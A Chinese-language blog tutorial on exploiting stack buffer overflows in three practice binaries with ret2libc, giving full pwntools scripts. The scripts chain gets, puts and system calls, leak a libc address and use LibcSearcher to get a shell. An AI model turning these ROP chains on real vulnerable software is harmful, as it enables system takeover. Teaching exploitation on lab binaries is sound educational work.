溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

緩沖區溢出漏洞-基本ROP-ret2lib

發布時間:2020-07-26 08:01:23 來源:網絡 閱讀:2504 作者:Margin_51cto 欄目:安全技術

本文視頻:
???????? 如果文字過于枯燥,可觀看在線視頻:https://edu.51cto.com/sd/16514

基礎知識:

第一題:ret2libc1

我們先用IDA分析下

緩沖區溢出漏洞-基本ROP-ret2lib

有一個gets函數會有溢出漏洞,我們在查看下程序的有哪些保護

緩沖區溢出漏洞-基本ROP-ret2lib

可以看到開啟了NX,說明我們在棧中的數據沒有執行權限,我們需要使用ROP方式進行繞過

我們使用gdb的pattern進行測試溢出偏移量是112

命令分別是:pattern create 200

執行r命令

輸入生成的字符串

根據提示執行pattern offset xxxxxx

緩沖區溢出漏洞-基本ROP-ret2lib

接下里我們要做的是執行系統函數system("/bin/sh"),來獲取系統的權限

所以我們可以想象我們的payload是:'a' * 112 + system_plt + 0x0000000 + bin_sh_addr

我們需要system的plt地址以及字符串/bin/sh的地址

system的plt地址可以用IDA來查看,在頁面中使用ALT + T來搜索system

緩沖區溢出漏洞-基本ROP-ret2lib

/bin/sh的獲取方式:

緩沖區溢出漏洞-基本ROP-ret2lib

所以得到我們的exp為:

from pwn import *

p = process('./ret2libc1')

system_plt_addr = 0x08048460

bin_sh_addr = 0x08048720

payload = flat(['a' * 112 , system_plt_addr , 0x00000000 , bin_sh_addr])

p.sendline(payload)

p.interactive()

第二題

這道題和第一個題沒有太大區別,唯一的區別在于找不到字符串/bin/sh的地址了。所以我們需要重新構造。

除了在程序中查找/bin/sh的地址,我們也可以直接讓用戶輸入。所以我們可以構造以下payload

payload = 'a' + get_plt + pop_ebx + bin_sh + system_plt + 0x00000000 + bin_sh

payload里的pop_ebx還是pop eax都無所謂,但我們使用ROPgadget在搜索的時候只能搜到pop ebx;ret

接下來我們動態調試下payload發送到ret2libc2后代碼執行過程和棧變化。我們看下exp代碼

from pwn import *

p = process('./ret2libc2')

system_plt = 0x08048490

gets_plt = 0x08048460

buf = 0x0804a0e4 - 16

pop_ebx_addr = 0x0804843d

payload = flat(['a' * 112,gets_plt,pop_ebx_addr,buf,system_plt,0x00000000,buf])

pause()

p.sendline(payload)

p.interactive()

也可以是一下exp:

from pwn import *

p = process("./ret2libc2")

elf = ELF("./ret2libc2")

rop = ROP(elf)

gets_plt = elf.plt['gets']

system_plt = elf.plt['system']

#自動查找rop,而不需要我們使用ROPgadget去搜索

pop_ret = rop.search(8).address

#pop_ret = 0x0804843d

#elf.bss()代表的是bss段段開始位置(這個位置會比實際的bss起始位置大一些)

buf = elf.bss(0xf)

#buf = 0x0804b000 - 16

payload = flat(['a'*112,gets_plt,pop_ret,buf,system_plt,0x00000000,buf])

p.sendline(payload)

p.sendline('/bin/sh\n')

p.interactive()

buf變量的值是bss段的內容,我們使用vmmap就可以看到有w權限的bss,在最末尾-16來保存我們gets輸入的內容。

也可以使用display &buf2來找一個變量的地址

緩沖區溢出漏洞-基本ROP-ret2lib

運行exp.py,得到pid后使用gdb attach進行調試

一直finish到main函數中

緩沖區溢出漏洞-基本ROP-ret2lib

我們發現在執行完main方法的ret之后程序進入了gets函數,說明我們的payload被成功執行了.

第三題:

使用IDA查看代碼

緩沖區溢出漏洞-基本ROP-ret2lib

發現有gets函數,存在漏洞,使用GDB加載程序:gdb ./ret2libc3

進入到gdb命令行后,使用checksec查看保護

緩沖區溢出漏洞-基本ROP-ret2lib

發現有NX保護,我們使用ROP進行繞過。

我們可以構造payload = 'a' * offset + system_plt+0x00000000 + bin_sh_addr

關鍵在于如何獲取system和/bin/sh的地址,所以我們使用objdump查看system plt地址

緩沖區溢出漏洞-基本ROP-ret2lib

發現plt中沒有system,使用ROPgadget查找/bin/sh的地址

緩沖區溢出漏洞-基本ROP-ret2lib

發現沒有/bin/sh,所以我們只能靠自己計算這兩個的值了。

那么我們如何得到 system 函數的地址呢?這里就主要利用了兩個知識點

  • system 函數屬于 libc,而 libc.so 動態鏈接庫中的函數之間相對偏移是固定的。

  • 即使程序有 ASLR 保護,也只是針對于地址中間位進行隨機,最低的 12 位并不會發生改變。而 libc 在 github 上有人進行收集,如下

  • https://github.com/niklasb/libc-database

所以我們第一個要做的事情就是判斷這個ret2libc3程序依賴的哪個libc,思路如下:

1、泄露一個ret2libc3函數的位置

2、獲取libc的版本

3、根據偏移獲取shell和sh的位置

4、執行程序獲取shell

這里我們用一個lic的工具https://github.com/lieanu/LibcSearcher

他能幫我們快速的找到system和/bin/sh的地址,但是他需要一個關鍵的東西:一個程序函數的地址

我們知道在Linux的程序中使用了延遲綁定機制,也就是說一個函數在沒有執行前,你是不知道它的真實地址是什么的。而這個程序中我們能看到的有printf函數、gets函數。我們通過這兩個函數來確定libc的版本。代碼如下:

from pwn import *

import time

p = process("./ret2libc3")

elf = ELF("./ret2libc3")

offset = 112

#要泄漏的函數的地址

target_func = 'gets'

#調用puts函數進行打印

puts_func = 'puts'

puts_plt = elf.plt[puts_func]

target_got = elf.got[target_func]

main_addr = elf.symbols['main']

#調用puts函數,打印泄漏函數的got地址,最后返回main函數,在32位程序中調用函數地址的第一個參數就是返回地址,后面的才是參數

payload = offset * 'a' + p32(puts_plt) + p32(main_addr) + p32(target_got)

#payload = flat([offset * 'a',puts_plt,main_addr,puts_got])

p.sendlineafter("Can you find it !?",payload)

print hex(u32(p.recv()[0:4]))

我們看一下結果:確實后12位是不變的,3e0。(一個字符4個字節,3 *4 = 12)

緩沖區溢出漏洞-基本ROP-ret2lib

我們查一下版本:https://libc.blukat.me

緩沖區溢出漏洞-基本ROP-ret2lib

版本有點多,我們換個函數,使用puts函數,直接將變量target_func改為puts,查看運行結果:

緩沖區溢出漏洞-基本ROP-ret2lib

發現后12位是ca0

緩沖區溢出漏洞-基本ROP-ret2lib

經過比對,這兩個版本的地址是一樣的,所以用那個都可以。

最后exp

#!/usr/bin/env python

# -*- coding: UTF-8 -*-

from pwn import *

from LibcSearcher import LibcSearcher

sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

rop = ROP(ret2libc3)

func = 'puts'

puts_plt = ret2libc3.plt['puts']

libc_start_main_got = ret2libc3.got[func]

main = ret2libc3.symbols['main']# 獲取main函數地址

print "leak libc_start_main_got addr and return to main again"

payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])

sh.sendlineafter('Can you find it !?', payload)

print "get the related addr"

#獲取puts函數運行時的地址

libc_start_main_addr = u32(sh.recv()[0:4])

print libc_start_main_addr

# 實例化LibcSearcher對象

libc = LibcSearcher(func, libc_start_main_addr)

# 計算libc的初始地址(puts的動態地址-puts的偏移地址)

libcbase = libc_start_main_addr - libc.dump(func)

# 計算system地址

system_addr = libcbase + libc.dump('system')

# 計算/bin/sh地址

binsh_addr = libcbase + libc.dump('str_bin_sh')

print "get shell"

payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])

sh.sendline(payload)

sh.interactive()


向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女